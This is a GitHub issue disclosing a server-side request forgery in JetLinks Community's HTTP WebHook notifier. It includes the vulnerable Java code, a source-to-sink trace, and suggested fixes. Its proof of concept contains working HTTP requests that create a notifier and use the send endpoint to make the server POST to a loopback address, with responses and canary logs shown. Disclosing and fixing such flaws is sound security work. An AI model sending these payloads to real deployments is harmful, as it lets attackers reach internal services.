Skip to content

HTTP WebHook template URL SSRF #767

Description

@cyuanb

Summary

The notifier send workflow allows an authenticated caller to supply an HTTP WebHook template URL. HttpWebHookNotifier uses that URL as the WebClient destination and can also use the template method and context to control the outbound request. No destination policy is applied before the request is sent.

Root Cause

The vulnerable source is the authenticated notifier send endpoint in NotifierController.java:63-77. The controller loads the selected notifier and creates a template from the caller's SendNotifyRequest:

@PostMapping("/{notifierId}/_send")
public Mono<Void> sendNotify(
    @PathVariable String notifierId,
    @RequestBody Mono<SendNotifyRequest> mono) {
    return mono.flatMap(tem ->
        Mono.zip(
            notifierManager.getNotifier(type, notifierId),
            templateManager.createTemplate(
                type, tem.getTemplate().toTemplateProperties()))
        .flatMap(tuple ->
            tuple.getT1().send(tuple.getT2(),
                                Values.of(tem.getContext()))));
}

The attacker-controlled source is template.url in the send request. It is rendered into HttpWebHookTemplate and is not replaced with the URL stored in the notifier configuration. HttpWebHookNotifier.java:69-103 then uses that value as the WebClient destination:

public Mono<Void> send(HttpWebHookTemplate template, Values context) {
    HttpMethod method = template.getMethod();
    WebClient.RequestBodyUriSpec bodyUriSpec =
        webClient.method(method);
    if (StringUtils.hasText(template.getUrl())) {
        bodyUriSpec.uri(template.getUrl());
    }
    ...
    return bodyUriSpec.retrieve()
        .bodyToMono(String.class)
        .then();
}

The source-to-sink flow is:

POST /notifier/{notifierId}/_send
  -> SendNotifyRequest.template.url
  -> templateManager.createTemplate
  -> HttpWebHookNotifier.send
  -> WebClient.method(template.method).uri(template.url)
  -> target-side HTTP service

POC

Create the disposable notifier:

POST /notifier/config HTTP/1.1
Host: localhost:31905
User-Agent: curl/7.81.0
Accept: */*
X-Access-Token: <redacted>
Content-Type: application/json
Content-Length: 185

{"id":"union-http-webhook","name":"Union HTTP Webhook","description":"disposable dynamic SSRF probe","type":"webhook","provider":"http","configuration":{"url":"http://example.invalid"}}

Configuration response:

HTTP/1.1 200 OK
traceparent: 00-f055bc91da024232fad8026f69766fe5-6e4e091ac82c4526-01
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Content-Type: application/json
Content-Length: 347

{"message":"success","result":{"id":"union-http-webhook","name":"Union HTTP Webhook","type":"webhook","provider":"http","description":"disposable dynamic SSRF probe","maxRetryTimes":0,"creatorId":"21232f297a57a5a743894a0e4a801fc3","createTime":1785655007950,"configuration":{"url":"http://example.invalid"}},"status":200,"timestamp":1785655008049}

Send request A:

POST /notifier/union-http-webhook/_send HTTP/1.1
Host: localhost:31905
User-Agent: curl/7.81.0
Accept: */*
X-Access-Token: <redacted>
Content-Type: application/json
Content-Length: 172

{"template":{"type":"webhook","provider":"http","template":{"url":"http://127.0.0.1:28081/poc/jetlinks-community_SSRF-003-A","contextAsBody":true}},"context":{"probe":"A"}}

Response A:

HTTP/1.1 200 OK
traceparent: 00-a016454df6349b6318613e6e56aa3117-0d7d4fcbf9056f80-01
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Content-Type: application/json
Content-Length: 60

{"message":"success","status":200,"timestamp":1785655008070}

Request B used the same endpoint with SSRF-003-B and {"probe":"B"}. The response was:

HTTP/1.1 200 OK
traceparent: 00-4c7146e09d7d9a391d55715f40e744b1-77f416df87a015d2-01
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Content-Type: application/json
Content-Length: 60

{"message":"success","status":200,"timestamp":1785655008474}

Target-side canary evidence:

POST /poc/jetlinks-community_SSRF-003-A
source: 127.0.0.1
body: {"probe":"A"}

POST /poc/jetlinks-community_SSRF-003-B
source: 127.0.0.1
body: {"probe":"B"}

Impact

An authenticated principal that can create/use a WebHook notifier can make JetLinks issue HTTP requests to internal services and can control the request path and POST body. Depending on the configured method and downstream service, this may enable internal API invocation, service discovery, or access to endpoints that trust requests from the JetLinks network.

Suggested Fix

Treat notifier destinations as security-sensitive configuration. Enforce an allowlist of schemes, hosts, ports, and resolved addresses, reject loopback/private/link-local/metadata ranges, revalidate redirects, and keep the inline template URL disabled or restricted to prevalidated notifier configuration.

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions